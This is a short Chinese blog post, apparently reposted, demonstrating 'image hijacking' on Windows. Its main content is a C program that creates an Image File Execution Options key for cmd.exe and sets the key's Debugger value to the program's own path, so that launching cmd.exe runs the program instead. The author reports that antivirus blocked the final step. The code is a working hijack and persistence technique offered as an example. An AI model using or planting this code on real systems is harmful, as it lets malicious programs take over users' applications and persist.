映像劫持技术(2):实例

在Image File Execution Options下创建cmd.exe项,将其“重定向”到我们自己编写的程序

 1 #include<stdio.h>
 2 #include<windows.h>
 3 
 4 int main()
 5 {
 6     HKEY hKey;
 7     DWORD dwDisposition=REG_CREATED_NEW_KEY;  //新建一个子项
 8     if((::RegCreateKeyEx(HKEY_LOCAL_MACHINE,
 9         "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\Cmd.exe",
10         0,
11         NULL,
12         REG_OPTION_NON_VOLATILE,
13         KEY_ALL_ACCESS,
14         NULL,
15         &hKey,
16         &dwDisposition))==ERROR_SUCCESS)
17         {
18             printf("success to Create the reg key.\n");
19             char strPath[MAX_PATH];
20             int size=GetModuleFileName(NULL,strPath,sizeof(strPath));
21             int ret=RegSetValueEx(hKey,"Debugger",0,REG_SZ,(const unsigned char *)strPath,size);
22             if(ret==ERROR_SUCCESS)
23             {
24                 printf("success to set the registry keys.\n");
25             }
26             else
27             {
28                 printf("fail to set the registry keys.\n");
29             }
30             RegCloseKey(hKey);
31         }
32     else
33     {
34         printf("fail to create a reg key.\n");
35     }
36     return 0;
37 }

 程序运行的结果只是在创建了cmd.exe项目,在设置该项的值的时候,360安全卫士报毒了,设置不成功

转载于:https://www.cnblogs.com/lanf/p/5092942.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值